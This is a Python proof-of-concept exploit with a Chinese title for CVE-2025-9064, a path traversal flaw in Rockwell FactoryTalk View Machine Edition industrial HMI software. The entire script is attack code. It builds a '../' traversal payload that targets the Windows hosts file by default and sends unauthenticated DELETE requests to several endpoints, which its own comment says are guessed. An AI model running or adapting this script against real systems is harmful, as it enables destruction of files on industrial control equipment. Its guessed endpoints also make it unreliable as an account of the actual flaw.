CVE-2025-9064：Rockwell FactoryTalk View Machine Edition 路径遍历漏洞

# CVE-2025-9064 - FactoryTalk View Machine Edition Path Traversal PoC # Vulnerability: Unauthenticated arbitrary file deletion via path traversal # Affected Product: Rockwell Automation FactoryTalk View Machine Edition import requests import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100" TARGET_PORT = sys.argv[2] if len(sys.argv) > 2 else 80 TARGET_FILE = sys.argv[3] if len(sys.argv) > 3 else "Windows/System32/drivers/etc/hosts" # Construct the base URL for the FactoryTalk View ME service base_url = f"http://{TARGET_HOST}:{TARGET_PORT}" # Path traversal payload to delete arbitrary files # The vulnerability allows traversing out of the intended directory traversal_payload = "../../../../../../../../../../" + TARGET_FILE def exploit_delete_file(target_url, file_path): """ Exploit path traversal to delete a file on the target system. The endpoint is guessed based on typical FTView ME service patterns. """ # Attempt 1: Common file deletion endpoint with traversal endpoints = [ "/FTView/file/delete", "/me/file/delete", "/runtime/file/delete", "/panelview/file/delete", ] for endpoint in endpoints: url = target_url + endpoint params = {"path": file_path} try: response = requests.delete(url, params=params, timeout=10) if response.status_code in [200, 204]: print(f"[+] Successfully sent delete request to {url}") print(f"[+] Target file: {file_path}") return True except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {url}: {e}") continue return False if __name__ == "__main__": print(f"[*] Targeting: {base_url}") print(f"[*] Target file: {TARGET_FILE}") print(f"[*] Traversal payload: {traversal_payload}") if exploit_delete_file(base_url, traversal_payload): print("[+] Exploit completed.") else: print("[-] Exploit failed. Target may not be vulnerable or endpoint differs.")